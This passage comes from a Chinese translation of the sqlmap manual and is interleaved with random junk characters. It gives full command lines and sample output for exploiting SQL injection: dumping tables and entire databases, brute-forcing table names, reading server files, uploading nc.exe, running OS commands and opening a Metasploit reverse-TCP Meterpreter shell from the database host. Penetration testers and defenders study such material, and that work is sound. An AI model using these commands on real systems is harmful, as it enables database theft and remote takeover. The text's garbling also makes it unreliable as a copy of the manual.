2 a8 N: J& R. p( `7 M' P. b/ A--exclude-sysdbs参数是指包含了所有的系统数据库。0 S. L5 J4 Q2 v
- ~* r7 _9 N/ _9 ~% ^, S
需要注意的是在Oracle中你需要提供的是TABLESPACE_NAME而不是数据库名称。& ?) @) G# F& J7 p
列举数据库表中的字段 * b" V: Y9 l" o5 w$ W) b * z8 Z! ^( m1 J参数:--columns,-C,-T,-D0 H" h! v( u6 }! {5 u7 {: b
, H# t- i0 n& r. d. e- l) M- R+ N# o
当前用户有权限读取包含所有数据库表信息的表中的时候,即可列出指定数据库表中的字段,同时也会列出字段的数据类型。" |$ z4 N# x# A! O* k2 F
* t! R, X6 q/ }- {; A如果没有使用-D参数指定数据库时,默认会使用当前数据库。" t1 P9 [' l3 V/ _# q# M. I
% e) \3 y0 c, S% d, s3 F% [4 s- M, D
列举一个SQLite的例子: 0 \' a( ?9 N; d+ ~# `, N& D- y& X4 N/ K6 N5 W3 k9 |- }
$ python sqlmap.py -u "http://192.168.136.131/sqlmap/sqlite/get_int.php?id=1" --columns -D testdb -T users -C name 9 v+ s# n3 u% m$ i8 t[...] 5 d! [% ^8 q, [6 D! a% \Database: SQLite_masterdb 5 |( r3 w" L: Z; {7 Y/ S# q% RTable: users9 _4 |1 l; W6 z5 j% A- w# n& t
[3 columns]# [, U( y3 j/ H2 d' W3 s
+---------+---------+: K: D, P; L; b, [1 e* V4 o
| Column | Type |6 k f5 v& S5 T& t) b/ _( a. i
+---------+---------+$ K2 Y# l/ V: E
| id | INTEGER | 9 `1 A, `* G7 q" K; k3 e" `| name | TEXT | # T O f" H3 E| surname | TEXT | 2 a0 c7 s$ E; [% W* U+ }+---------+---------+5 a% m% I* h' O# E, f, J% L
, v& X" L) j0 m G7 Y; E
列举数据库系统的架构 - ~* D- h$ m( c. f9 f4 ^% _$ V! }8 x8 |) C# F. U
参数:--schema,--exclude-sysdbs$ g$ L Z% m8 J) n$ _
5 R0 n A8 S+ ?! Q# P用户可以用此参数获取数据库的架构,包含所有的数据库,表和字段,以及各自的类型。 8 u' P- {9 S" ~8 n s+ H2 u+ g$ l 7 v1 |8 ]; h" U, q$ ^2 t加上--exclude-sysdbs参数,将不会获取数据库自带的系统库内容。. f" {/ h# M3 f9 v2 U$ ]
+ T& u* d) Y3 a& T- A4 S7 X% t
MySQL例子:6 J- c3 }* Z3 r) f' W
) a: e! r* o( r# x3 N9 ~
$ python sqlmap.py -u "http://192.168.48.130/sqlmap/mysql/get_int.php?id=1" --schema --batch --exclude-sysdbs% T8 E- l) }; J+ v) p3 C
[...] ) b1 m! r5 p/ Y5 G" Y6 PDatabase: owasp10 2 r. V5 a! w! ?1 N6 [* RTable: accounts 1 n* p/ z7 J. F) Z8 W9 O[4 columns]/ y1 v: ~. g- N* A+ s, t: d
+-------------+---------+ 4 m! A; X* o. y! X| Column | Type |( C% F* F" I0 D& ]6 @8 g5 s
+-------------+---------+: t }, H' g" v
| cid | int(11) | ' |5 @9 p5 D' d# H| mysignature | text |9 q( e6 L# y, ^: T
| password | text |+ U( y: K& Z- }, m' g/ _' q
| username | text |& i, u! A* o& x3 Z2 C4 E1 Y2 Y# F
+-------------+---------+, x* ^* D$ ^! F- E* I2 F7 Q) r: r6 E$ F( [
% I8 n, l5 {% k
Database: owasp109 L$ d9 Z- [7 E3 A- v5 p
Table: blogs_table # s% N) n& `& a% M( {[4 columns]- x* l- w9 }: ]3 x) s9 h6 w
+--------------+----------+) F/ s$ |9 K" |, c4 b
| Column | Type | 8 w$ q P/ |# H/ P; z+--------------+----------+ " C6 Y% g" G6 T( I& V# h| date | datetime |7 \$ j) P, |" v5 \' Z
| blogger_name | text | " E: W+ s p- g* a| cid | int(11) |& h& ~+ u* u0 { H
| comment | text | * E8 | O+ k" f: v7 m+--------------+----------+& j2 ?, h: S! k& d4 |
9 ?0 y" i! z i/ p* q, u
Database: owasp100 Z6 b4 E0 y; a& a; a9 n4 U
Table: hitlog2 `. |' [ n# b8 O# B
[6 columns]8 H( y2 x+ r- K
+----------+----------+7 l! ]$ y& G) v& s. `9 X
| Column | Type | 6 N6 B$ O1 W3 L' k+----------+----------+ + {1 y7 s5 ^ z+ H! h% U9 v4 P+ X% g* X| date | datetime |' t0 g5 u1 I: E( T3 M: q R% V
| browser | text | & K$ \$ u1 n6 Y8 c" @% D| cid | int(11) | X) k8 L0 {! S; I: L+ _
| hostname | text | 5 i/ [9 f& O* g' W' |) q* A| ip | text | 8 |3 J1 l7 X9 j0 q, s/ ?. y| referer | text |% w$ W% X& Q& S6 M: F
+----------+----------+ 1 w7 Y- a+ I4 W+ t, G; r; l: I$ A2 L* k6 h. Y8 }
Database: testdb : Y( L# a$ _% B. JTable: users/ R) F5 R8 |( F2 E6 J
[3 columns]* ?. K$ H% m1 h+ i
+---------+---------------+ c" ~! @% r% g( r, J' I| Column | Type | + P. M8 x% v& C- s; K" b) q+---------+---------------+ 5 v/ k' s# n8 k- M/ \| id | int(11) | ) w9 {$ \( t c# _9 Q| name | varchar(500) | h0 w5 \% Y! Y# N| surname | varchar(1000) |: P o& I" n& Q; d- F1 C
+---------+---------------+ 0 C% Z, B n: c5 }- |5 U# J, y[...]6 {* p9 {. m6 w& [
. @3 _1 f N7 q S0 O
获取表中数据个数 6 S; c" J( F* n9 H$ n 3 l8 S D0 V" m' j! v5 x6 p8 G参数:--count |+ q: N$ c" M5 b& _ 5 p- \+ n$ l3 u; n) F9 b有时候用户只想获取表中的数据个数而不是具体的内容,那么就可以使用这个参数。, W( z) f9 I4 `6 S4 V1 c
' F* ?1 g& j% u4 F6 g列举一个Microsoft SQL Server例子:; L, t8 J+ a& y4 \: K9 B. B
6 S+ T- W) Q6 ~/ F Q0 n) {6 p
$ python sqlmap.py -u "http://192.168.21.129/sqlmap/mssql/iis/get_int.asp?id=1" --count -D testdb" g, w/ n( Q$ I0 T
[...]+ B& `1 ?$ R) Y+ |- m
Database: testdb 2 ]2 L0 Z# E. n+----------------+---------+ 4 }% B5 l* E/ [- b' q/ Z| Table | Entries | / X& R. N9 `6 i+ X: z" a; J4 x7 \+----------------+---------+ , n& ?/ G) @/ P- o4 Z. y6 || dbo.users | 4 |$ J( {0 I: \: V5 l
| dbo.users_blob | 2 |7 i6 k6 M8 p* ^) O3 a1 _4 ^
+----------------+---------+ & e0 E+ c4 A( q/ u, K- a $ H, B! I8 W0 l' `2 y. n获取整个表的数据 $ C' T2 m8 ?. S( ] \/ B; s4 O3 A- p
参数:--dump,-C,-T,-D,--start,--stop,--first,--last3 N C3 A& C9 [5 f O4 ?- P" [
" U, c' V7 A$ k; G @
如果当前管理员有权限读取数据库其中的一个表的话,那么就能获取真个表的所有内容。' ?) \8 x% `7 j, x
) X0 H3 X2 P5 ]% a1 F$ Q
使用-D,-T参数指定想要获取哪个库的哪个表,不适用-D参数时,默认使用当前库。- s4 h( N& [4 X/ x3 y
$ H `: V2 E W; o+ e8 N列举一个Firebird的例子:: c2 ?% T; u! J1 k/ M
' ~! C+ W# w" U- g9 `" @: Q
$ python sqlmap.py -u "http://192.168.136.131/sqlmap/firebird/get_int.php?id=1" --dump -T users 7 n# o' z0 M! c8 ~[...] ( B( @1 Z! e5 T5 h6 lDatabase: Firebird_masterdb. @* G1 [) C. H" F9 X2 w
Table: USERS' A h" ]" Y2 E; d, o
[4 entries] ) f/ Z2 S( k( a2 v. m+----+--------+------------+ , |4 W$ i7 z7 m& u# T| ID | NAME | SURNAME |7 b" ]; T H: ^) L, Y
+----+--------+------------+/ q) \5 q1 ]6 F `5 e% V
| 1 | luther | blisset | " @; `- h* [* H) P9 j5 c| 2 | fluffy | bunny |( `9 y* M7 ]3 v" ^% }+ _
| 3 | wu | ming | ! p# ^- D- `7 ^/ l| 4 | NULL | nameisnull |( p! q. a9 H3 _ Q
+----+--------+------------+ . T: X$ @ Z) F, M' _% A0 G 8 E- E. n- V2 s. _# T; Q+ I可以获取指定库中的所有表的内容,只用-dump跟-D参数(不使用-T与-C参数)。 - O( u7 m# m) {% p$ [. a " z: o9 V/ k- S$ K也可以用-dump跟-C获取指定的字段内容。3 w6 ~$ B n! I4 ]3 N+ Y$ S
% b' H3 G6 h; l- T! R6 F
sqlmap为每个表生成了一个CSV文件。 7 m( }7 E! ?! F9 L1 v6 D( f. c. S 3 a j- @2 Q& s如果你只想获取一段数据,可以使用--start和--stop参数,例如,你只想获取第一段数据可hi使用--stop 1,如果想获取第二段与第三段数据,使用参数 --start 1 --stop 3。 : {1 \6 f& g0 I4 z: A2 U6 K ~) d9 x, t
也可以用--first与--last参数,获取第几个字符到第几个字符的内容,如果你想获取字段中地三个字符到第五个字符的内容,使用--first 3 --last 5,只在盲注的时候使用,因为其他方式可以准确的获取注入内容,不需要一个字符一个字符的猜解。 % G% K% _# i5 X' u; J( r( e获取所有数据库表的内容 0 x* c" c( E* S8 g" S0 z# o- z4 F2 p0 @
参数:--dump-all,--exclude-sysdbs 5 z1 b+ j5 t* ]; f/ l" Z% \ 2 W j0 E3 @5 z6 ]. q) Q" W使用--dump-all参数获取所有数据库表的内容,可同时加上--exclude-sysdbs只获取用户数据库的表,需要注意在Microsoft SQL Server中master数据库没有考虑成为一个系统数据库,因为有的管理员会把他当初用户数据库一样来使用它。 8 P( ^ a0 B% x# k$ ~* M搜索字段,表,数据库 8 W* E* \. t' D6 r2 Z* J2 O + X' J& z' t& g参数:--search,-C,-T,-D ! N M9 A4 j8 Q# @0 M6 @4 H' i8 R/ K) J P4 n: a" q3 ^' `
--search可以用来寻找特定的数据库名,所有数据库中的特定表名,所有数据库表中的特定字段。$ w. a# R. D3 Y! Y# Y3 u
/ b8 g& y' f2 X, n( x
可以在一下三种情况下使用: 3 E% h: Q9 V- f * |, e$ d& Y8 W: p7 H1 D' b9 z-C后跟着用逗号分割的列名,将会在所有数据库表中搜索指定的列名。' H1 n; \& [; m$ M4 C. V
-T后跟着用逗号分割的表名,将会在所有数据库中搜索指定的表名) H& O, Z" z' `( k. T& `7 j
-D后跟着用逗号分割的库名,将会在所有数据库中搜索指定的库名。0 q9 a/ q5 z9 P
6 a5 U; x' |$ d c
运行自定义的SQL语句 Z1 \4 X! w7 T" }# Q# h% t
7 y, ]' K+ Q2 H9 p参数:--sql-query,--sql-shell3 o, U0 ^, j( T% Z
5 s, ^2 b+ Y: ^3 C: K: Tsqlmap会自动检测确定使用哪种SQL注入技术,如何插入检索语句。 ; z$ u! @& r8 ~8 N # M1 i& k8 B! V( a4 X* a如果是SELECT查询语句,sqlap将会输出结果。如果是通过SQL注入执行其他语句,需要测试是否支持多语句执行SQL语句。, ?$ ]+ o+ t L8 W# `
$ E6 p( |( F5 M% [! t
列举一个Mircrosoft SQL Server 2000的例子: 5 Y9 f1 F, k! s/ y0 G; f7 m0 T/ I4 m' O( a) T, _. X2 z
$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mssql/get_int.php?id=1" --sql-query "SELECT 'foo'" -v 1" s. W' I4 U& p+ K I. t
7 t- m1 m* n3 N5 Q! E
[...] ) J" r3 C. C: v9 X2 l! Z[hh:mm:14] [INFO] fetching SQL SELECT query output: 'SELECT 'foo'' # ^/ o5 T! l; D+ N/ s9 ~, @! K" ]3 F2 G[hh:mm:14] [INFO] retrieved: foo0 c: {0 A% h+ Y& S- y
SELECT 'foo': 'foo'# N/ ]# T" }% [! N- f, H
. g+ }' A5 f4 Q; W7 B$ H( r$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mssql/get_int.php?id=1" --sql-query "SELECT 'foo', 'bar'" -v 2) f8 |% V+ A- B
6 V9 m& c& _6 ~
[...] $ R/ f+ M7 i( Z( @0 [$ O[hh:mm:50] [INFO] fetching SQL SELECT query output: 'SELECT 'foo', 'bar''* B! w9 c8 P0 R3 R
[hh:mm:50] [INFO] the SQL query provided has more than a field. sqlmap will now unpack it into ; c3 J3 S4 l- A
distinct queries to be able to retrieve the output even if we are going blind+ q& D& M' P h& f
[hh:mm:50] [DEBUG] query: SELECT ISNULL(CAST((CHAR(102)+CHAR(111)+CHAR(111)) AS VARCHAR(8000)), ; u/ |3 b$ y+ y( g1 j
(CHAR(32)))" O$ v& j9 ^- t/ K
[hh:mm:50] [INFO] retrieved: foo( s5 U5 \+ F" V1 |# N! L
[hh:mm:50] [DEBUG] performed 27 queries in 0 seconds 4 V3 [1 u" ^# W[hh:mm:50] [DEBUG] query: SELECT ISNULL(CAST((CHAR(98)+CHAR(97)+CHAR(114)) AS VARCHAR(8000)), 8 ]: v9 L e/ ~; Y3 c( r* a
(CHAR(32)))# ?4 n' \! m4 }3 H: u
[hh:mm:50] [INFO] retrieved: bar8 E% j ^( r! `# j8 x. h% d2 \
[hh:mm:50] [DEBUG] performed 27 queries in 0 seconds % A: h6 U& e1 T" X6 HSELECT 'foo', 'bar': 'foo, bar' + T6 W" ?# L( ]' h, h) L/ T' M/ n+ Q
爆破 ) S* e4 H; e p/ p6 d暴力破解表名; y( R' B9 P1 y. r9 o* N
, T4 B. @' t$ E; S* b, [$ r) n
参数:--common-tables; ]; O. `2 Y( u
& J' |7 L: U/ d- o6 H! X
当使用--tables无法获取到数据库的表时,可以使用此参数。 J; u9 K# Q0 `. q% u 2 D; m( ?8 p8 Q' G通常是如下情况: ; j4 o) E) i# q5 ^2 O- f# ^ , {+ p# i4 f# f1、MySQL数据库版本小于5.0,没有information_schema表。 m8 U! T0 q" k2 ~2、数据库是Microssoft Access,系统表MSysObjects是不可读的(默认)。 - O2 L3 p! {; I& ^/ ?0 X3、当前用户没有权限读取系统中保存数据结构的表的权限。 7 g' L! t( E; Q# L % d4 c/ L4 v6 K) T暴力破解的表在txt/common-tables.txt文件中,你可以自己添加。 # i( R: |6 R: R [6 i, O2 u: z9 t- r6 V1 r# l, h7 Y
列举一个MySQL 4.1的例子: % Z. A" W8 D8 b" J: q( ?# x/ b- U. Y6 X) p: T' N
$ python sqlmap.py -u "http://192.168.136.129/mysql/get_int_4.php?id=1" --common-tables -D testdb --banner# ?2 E- j3 z$ G# t$ i: u ?5 _, i
6 a- k M4 r- T( D[...]! x4 a* I L- M0 o6 r% [
[hh:mm:39] [INFO] testing MySQL/ I7 [! ^9 V3 [. K( \" T( f
[hh:mm:39] [INFO] confirming MySQL$ C( a/ H M; V1 }6 V+ ?
[hh:mm:40] [INFO] the back-end DBMS is MySQL7 X% @. ]( z- A5 ]- w* U4 `
[hh:mm:40] [INFO] fetching banner, Q" _1 Q+ _$ t6 @1 m' K# G) N" ?) ]
web server operating system: Windows; r( P1 }. i+ w! z2 ~9 \
web application technology: PHP 5.3.1, Apache 2.2.14- ~/ E ^2 j- I$ k% c" }
back-end DBMS operating system: Windows 7 D6 I* x8 A6 N1 h% Xback-end DBMS: MySQL < 5.0.0 ; g$ d& a; }/ M' P8 Qbanner: '4.1.21-community-nt' 4 a. ]* {1 C _+ N2 d+ T8 x& M- V. j6 V2 `' {* `2 a0 |) R2 E; |$ \
[hh:mm:40] [INFO] checking table existence using items from '/software/sqlmap/txt/common-tables.txt' ) I* q2 s2 O4 g0 Q5 m[hh:mm:40] [INFO] adding words used on web page to the check list % U5 q7 c2 \# e C: C* Splease enter number of threads? [Enter for 1 (current)] 8 ! j. }* C# Y' U- _8 u/ X1 \[hh:mm:43] [INFO] retrieved: users! `4 C; }" V( B }% u
& Y* |& K _; ]5 |4 k/ J
Database: testdb4 A7 @3 P# \ G( f6 g; q1 c
[1 table] " q5 e$ |8 q* ]% g8 H2 i+-------+ 1 m9 z5 b" X4 `7 D: c1 T* h2 M| users | 8 R9 o' o0 X7 g' o, j8 _2 P+-------+) C6 T8 c* H; O9 \! }+ A" }# z
% _0 \( _, h! C+ ]4 u0 t
暴力破解列名* C/ o n# C- O' b- m7 Y+ @
6 i5 t5 q- a" j" t$ }
参数:--common-columns * @/ ^; x- J( |! B9 n2 b: y0 f. m 5 i* e1 D/ r* B8 t m) [5 Y与暴力破解表名一样,暴力跑的列名在txt/common-columns.txt中。- n) k# w* T7 y9 J1 e2 q6 W
用户自定义函数注入& \9 e/ x, J/ `( S6 E
% l+ f: d: o- O7 i- }4 X, p5 C
参数:--udf-inject,--shared-lib % h/ O3 o- Z0 i4 q1 u4 x! l" D( i$ D7 w7 B1 j& v2 ^ u: ]
你可以通过编译MySQL注入你自定义的函数(UDFs)或PostgreSQL在windows中共享库,DLL,或者Linux/Unix中共享对象,sqlmap将会问你一些问题,上传到服务器数据库自定义函数,然后根据你的选择执行他们,当你注入完成后,sqlmap将会移除它们。% T5 x ~+ L% I5 L a
系统文件操作& K8 K' _$ f* f1 \, [& I( n1 {
从数据库服务器中读取文件+ U$ P! S0 n$ g5 y k& E
! W" \' w% ~* u F/ p5 K参数:--file-read " }3 V6 H0 x, \' `( A$ ]9 \$ Z5 A, c0 h3 b
当数据库为MySQL,PostgreSQL或Microsoft SQL Server,并且当前用户有权限使用特定的函数。读取的文件可以是文本也可以是二进制文件。 ; X- z; p# n9 _. r& X0 n- M) @( ]" O+ V6 p
列举一个Microsoft SQL Server 2005的例子: 0 ~$ V9 n5 h& W% f/ h 9 Q9 ?+ B$ F; `$ python sqlmap.py -u "http://192.168.136.129/sqlmap/mssql/iis/get_str2.asp?name=luther" \ ; V2 v' ~: l! _3 F7 h6 K. W--file-read "C:/example.exe" -v 1 7 y! G V" ^9 j, I. R 4 Z7 H: p! A: j8 O[...]+ i. b" @9 r* c9 ^+ d
[hh:mm:49] [INFO] the back-end DBMS is Microsoft SQL Server" v8 ?: S, J4 d9 j* j7 f0 O7 A$ ?) A
web server operating system: Windows 2000- G+ m6 }$ c# n; m
web application technology: ASP.NET, Microsoft IIS 6.0, ASP# X U; |! [1 s- {( {% y5 f0 W$ a, i
back-end DBMS: Microsoft SQL Server 2005& ~, M0 W* {5 d$ b1 t5 W
9 t+ V( \7 a2 c; h/ q3 r2 r' n
[hh:mm:50] [INFO] fetching file: 'C:/example.exe' 9 u! e1 s% b8 y+ @2 ? j! w2 F[hh:mm:50] [INFO] the SQL query provided returns 3 entries% o0 d1 \$ I5 P1 c# L
C:/example.exe file saved to: '/software/sqlmap/output/192.168.136.129/files/C__example.exe' p/ t" W- j; _% V[...] % p* r& o1 x; f2 L( M# `5 T9 l- k6 R8 A1 S
$ ls -l output/192.168.136.129/files/C__example.exe ) ?6 P% ^' x& k2 A% j$ B+ ?-rw-r--r-- 1 inquis inquis 2560 2011-MM-DD hh:mm output/192.168.136.129/files/C__example.exe0 e9 Y5 N" P% s8 k+ n m+ b
+ `. j* Q; f" }
$ file output/192.168.136.129/files/C__example.exe $ r) Z7 o$ W( t+ f( ^output/192.168.136.129/files/C__example.exe: PE32 executable for MS Windows (GUI) Intel& u; p' G8 m) C3 t) A7 W
80386 32-bit & [- l& A6 n3 T6 w% ~* X" a9 Q# P; k6 r! L" x" V
把文件上传到数据库服务器中8 f% x W1 d: r+ G3 h$ Q( D
0 r+ x* u! ~% N5 g! G参数:--file-write,--file-dest$ _9 y; j+ C: C
+ i% G: H1 c* g, ?. }
当数据库为MySQL,PostgreSQL或Microsoft SQL Server,并且当前用户有权限使用特定的函数。上传的文件可以是文本也可以是二进制文件。 + y5 d3 |% c5 Y8 p$ n8 }0 U! j9 }" r& u# f5 k5 P* O2 D& P
列举一个MySQL的例子: - \5 z1 z" U u) s' c# q) @5 M# G2 p1 [7 V# C
$ file /software/nc.exe.packed * r }+ X9 L* r/ @ y% w( M/software/nc.exe.packed: PE32 executable for MS Windows (console) Intel 80386 32-bit 2 u8 I+ F3 H! C" y* } ! }* ]3 C2 w' s' P$ ls -l /software/nc.exe.packed' y" ^7 x1 \! J( J
-rwxr-xr-x 1 inquis inquis 31744 2009-MM-DD hh:mm /software/nc.exe.packed7 h I$ ~6 f. C/ U
1 q1 d# X" j w% I$ python sqlmap.py -u "http://192.168.136.129/sqlmap/mysql/get_int.aspx?id=1" --file-write \ 7 {$ |$ g5 n( P4 L"/software/nc.exe.packed" --file-dest "C:/WINDOWS/Temp/nc.exe" -v 1 / v2 R! X4 x3 L; } : l3 |! x* {4 w8 B[...] ; Y( Z' h3 F2 F5 t[hh:mm:29] [INFO] the back-end DBMS is MySQL ! ^4 }9 k) { t3 o, ~( Sweb server operating system: Windows 2003 or 2008 $ a) D3 C! \: qweb application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727/ }$ n' z4 F9 p% a' Z& U
back-end DBMS: MySQL >= 5.0.0 * N+ w1 j' f9 q% l2 N0 ~ & ? m3 x8 R) K& o[...]% S. C6 h7 o2 V& c; C( I
do you want confirmation that the file 'C:/WINDOWS/Temp/nc.exe' has been successfully , |1 h+ I/ l3 kwritten on the back-end DBMS file system? [Y/n] y% P! M4 z$ u1 @7 D# N) }
[hh:mm:52] [INFO] retrieved: 31744( {! E3 h& b8 j3 ~( @ G2 H
[hh:mm:52] [INFO] the file has been successfully written and its size is 31744 bytes, ( K& J* H% `& X. T4 t2 G* W& t7 Osame size as the local file '/software/nc.exe.packed'3 E; a" o# \0 w1 l: I4 P
* M6 e z# M# a0 r/ S. v运行任意操作系统命令 % y9 J, V0 ^) g; a% ]3 E* n% W9 w+ Z! p
参数:--os-cmd,--os-shell + W' b3 N H4 _3 p # d+ r. y2 V1 Y. i C" s, G当数据库为MySQL,PostgreSQL或Microsoft SQL Server,并且当前用户有权限使用特定的函数。* {1 q5 \! I2 \
. `# a; E7 X) d8 W! p6 J5 f2 {" b在MySQL、PostgreSQL,sqlmap上传一个二进制库,包含用户自定义的函数,sys_exec()和sys_eval()。 5 F Z, D& S6 X6 O* D* F l+ J, L; s d2 j+ c5 r( R& J* D5 `
那么他创建的这两个函数可以执行系统命令。在Microsoft SQL Server,sqlmap将会使用xp_cmdshell存储过程,如果被禁(在Microsoft SQL Server 2005及以上版本默认禁制),sqlmap会重新启用它,如果不存在,会自动创建。+ {6 w( s! m7 ]3 b/ E+ G, Z# I" D
0 [4 L/ D8 x) a1 G8 |
列举一个PostgreSQL的例子:( W/ A. A. U+ c8 J
$ b! Q* z. l) o4 A" q$ r2 z. }
$ python sqlmap.py -u "http://192.168.136.131/sqlmap/pgsql/get_int.php?id=1" \7 y1 }1 f) p$ u) |" u6 z/ A
--os-cmd id -v 1& F) o! x f7 G+ a
' O3 h5 e+ m K4 F
[...] 0 r% T! Z# F6 E3 E: R7 Eweb application technology: PHP 5.2.6, Apache 2.2.9 6 n* g9 {4 s* a" s Z0 `/ hback-end DBMS: PostgreSQL / M" g7 p: k( L8 \7 w; i[hh:mm:12] [INFO] fingerprinting the back-end DBMS operating system ( j- g- U* z0 W: x3 y9 c$ P[hh:mm:12] [INFO] the back-end DBMS operating system is Linux V) g, \) @% s. L- `
[hh:mm:12] [INFO] testing if current user is DBA- N: Q# h/ O5 O6 _+ C
[hh:mm:12] [INFO] detecting back-end DBMS version from its banner" c7 C% m0 l' o! f1 S7 K! A: R* P
[hh:mm:12] [INFO] checking if UDF 'sys_eval' already exist- ~8 q! q1 w. L, J
[hh:mm:12] [INFO] checking if UDF 'sys_exec' already exist ( m" Y* z' y* M+ t5 ^[hh:mm:12] [INFO] creating UDF 'sys_eval' from the binary UDF file5 d0 {! X: x5 F# G" P
[hh:mm:12] [INFO] creating UDF 'sys_exec' from the binary UDF file/ ?0 r: `& {9 _+ X# Q3 S" B
do you want to retrieve the command standard output? [Y/n/a] y 4 Y, Y6 [5 a# I% v0 _1 v2 s, f0 lcommand standard output: 'uid=104(postgres) gid=106(postgres) groups=106(postgres)'+ l' L) {2 A1 {9 q
3 @% _" W9 b8 I- L[hh:mm:19] [INFO] cleaning up the database management system/ ?6 ~9 J2 ~4 j9 X }
do you want to remove UDF 'sys_eval'? [Y/n] y 5 V1 S, f2 Q# ]: q; n+ T+ b3 ndo you want to remove UDF 'sys_exec'? [Y/n] y 9 }6 _, @, [1 a, e6 R, k4 {2 l5 ~[hh:mm:23] [INFO] database management system cleanup finished+ P) ?, x& X6 \# Q7 n9 s) v
[hh:mm:23] [WARNING] remember that UDF shared object files saved on the file system can * J3 G4 Z }4 h6 F- C( m+ H0 s4 B
only be deleted manually* {; ^5 K, A( ?; I# g4 c9 m
# @, x" s/ m L4 {+ ~1 p
用--os-shell参数也可以模拟一个真实的shell,可以输入你想执行的命令。, U. z+ O9 N' M' `& u8 o' J; ^3 x
, N) g( ]( p6 o1 ` b4 g" X[...] 0 u7 Y9 U8 M l( A [8 p1 J[hh:mm:31] [INFO] the back-end DBMS is MySQL4 Z; ] z1 e" d/ Z& g
web server operating system: Windows 2003 # n. Y. A+ a# E B& nweb application technology: ASP.NET, ASP.NET 4.0.30319, Microsoft IIS 6.0 8 u0 W( }% f6 Z9 Sback-end DBMS: MySQL 5.0 * D9 l& K8 h% a" _[hh:mm:31] [INFO] fingerprinting the back-end DBMS operating system 4 \5 v* N' H% ~+ t" `# G1 ^- @2 k; ^[hh:mm:31] [INFO] the back-end DBMS operating system is Windows + C2 A& }, ? _how do you want to establish the tunnel?+ [0 c. H. i) N5 ] T
[1] TCP: Metasploit Framework (default)8 _5 Y$ y& F7 B2 X3 t' T' Z" W2 o E
[2] ICMP: icmpsh - ICMP tunneling * J- J, P D- l; C, x& N> ( A+ ^/ a0 ~* ^9 ]6 y% a/ l \- b[hh:mm:32] [INFO] testing if current user is DBA 7 M" t( G5 g& C, j: m[hh:mm:32] [INFO] fetching current user, K3 H9 O. J5 X( Y h1 s2 f
what is the back-end database management system architecture?: F( ]# e& u- g2 h" ?' \8 \
[1] 32-bit (default)! C/ _7 {( ?3 f4 Y
[2] 64-bit4 @1 I* {( V. H( z% [7 d4 N
> , _( Z9 r `7 U5 Y. o
[hh:mm:33] [INFO] checking if UDF 'sys_bineval' already exist 9 O# l$ e) U3 n; p2 d3 U0 U g |% \) |[hh:mm:33] [INFO] checking if UDF 'sys_exec' already exist! K9 {0 G r9 W# L3 I
[hh:mm:33] [INFO] detecting back-end DBMS version from its banner ! T- G4 v e5 P9 a) ?* y[hh:mm:33] [INFO] retrieving MySQL base directory absolute path 5 A% U8 D3 @; ] y8 x. X[hh:mm:34] [INFO] creating UDF 'sys_bineval' from the binary UDF file; v3 E7 o% m, F8 U
[hh:mm:34] [INFO] creating UDF 'sys_exec' from the binary UDF file2 t# A2 {7 A1 Y6 C1 @( X2 }; h! b
how do you want to execute the Metasploit shellcode on the back-end database underlying ' O% ]5 i* a& e7 U& C
operating system? $ d4 _9 q! I/ l" O[1] Via UDF 'sys_bineval' (in-memory way, anti-forensics, default)( n( q# _- b/ L0 \
[2] Stand-alone payload stager (file system way) . p1 |2 k7 x9 x1 S5 j/ m> ! [; ?& S3 [4 U% w[hh:mm:35] [INFO] creating Metasploit Framework multi-stage shellcode + I2 S7 J% V/ q2 a# Swhich connection type do you want to use?* n7 {, ]) g5 m/ H7 I
[1] Reverse TCP: Connect back from the database host to this machine (default)2 A F9 F6 h" ?* O
[2] Reverse TCP: Try to connect back from the database host to this machine, on all ports ( Y; U! D; o6 E9 I
between the specified and 65535 6 t; `; G5 O5 J[3] Bind TCP: Listen on the database host for a connection b2 M3 V9 D+ R. ]4 l> 9 ]5 V9 q4 }( X% V7 O3 r
which is the local address? [192.168.136.1] : w- |1 R0 M) W- X2 o
which local port number do you want to use? [60641] ) B4 k, R/ \/ N, n. ~- ^) cwhich payload do you want to use? 0 [7 X# Q" I* v2 C O+ g K[1] Meterpreter (default). O$ l9 O" v$ n `5 S
[2] Shell6 ?8 B* B% K/ C$ V1 c* P' P# F
[3] VNC7 d; R" t" N( \, z: {6 R, h
> " J9 C# G8 {( B# W' n
[hh:mm:40] [INFO] creation in progress ... done* k( n& b5 l3 \
[hh:mm:43] [INFO] running Metasploit Framework command line interface locally, please wait..8 K+ b0 k# [% M2 O1 p% I' k
/ U- C; s' Z+ q" l) y# z- |# \# ?5 R, W+ H( }1 s4 S7 ?
Intel(R) PRO/1000 MT Network Connection! d' b! C; w8 P$ q: X l
Hardware MAC: 00:0c:29:fc:79:39* b8 b1 {" f6 ^7 }# b [
IP Address : 192.168.136.129: G# w3 `/ b, A( q/ B M" r7 y; u
Netmask : 255.255.255.0 6 t; H- W2 U- A) u7 x. Z/ _# c ) f6 x* ~. d; d$ J7 [" k! T8 s, f4 r" L3 t( v1 g
meterpreter > exit2 o4 x* f9 t$ y& W4 }) W
Meterpreter session 1 closed. Reason: User exit : y n6 u7 a+ h8 @ * d. `" P* v$ W4 _( A: ~/ t" d默认情况下MySQL在Windows上以SYSTEM权限运行,PostgreSQL在Windows与Linux中是低权限运行,Microsoft SQL Server 2000默认是以SYSTEM权限运行,Microsoft SQL Server 2005与2008大部分是以NETWORK SERVICE有时是LOCAL SERVICE。- j2 _0 Z. M/ D; r9 F. J& ~
+ Q$ V0 V/ F! X! {
, R# E3 j3 A% u# E* P5 B m
0 p$ Z, `6 D L对Windows注册表操作 - }0 @& z% p' H4 Q" z+ V/ S# ]% z' g
当数据库为MySQL,PostgreSQL或Microsoft SQL Server,并且当前web应用支持堆查询。 当然,当前连接数据库的用户也需要有权限操作注册表。 ' b- g& U& E/ L, `7 N/ T& P. ~% u5 q) x) ]9 l9 G( ^
读取注册表值& G" Z/ o# e, ^& c9 o5 l. g8 K+ y
8 n7 L" D5 N, r, X参数:--reg-read + x( ~1 L ]5 \2 a9 B- k X写入注册表值 8 n6 l: X/ ?6 S4 w" k0 B6 X' i* M: A a# P+ N3 B
参数:--reg-add , B) H3 E+ W9 r* h5 N9 R% p删除注册表值8 u$ {0 C- d: P7 b
d6 A* v( y6 M$ s
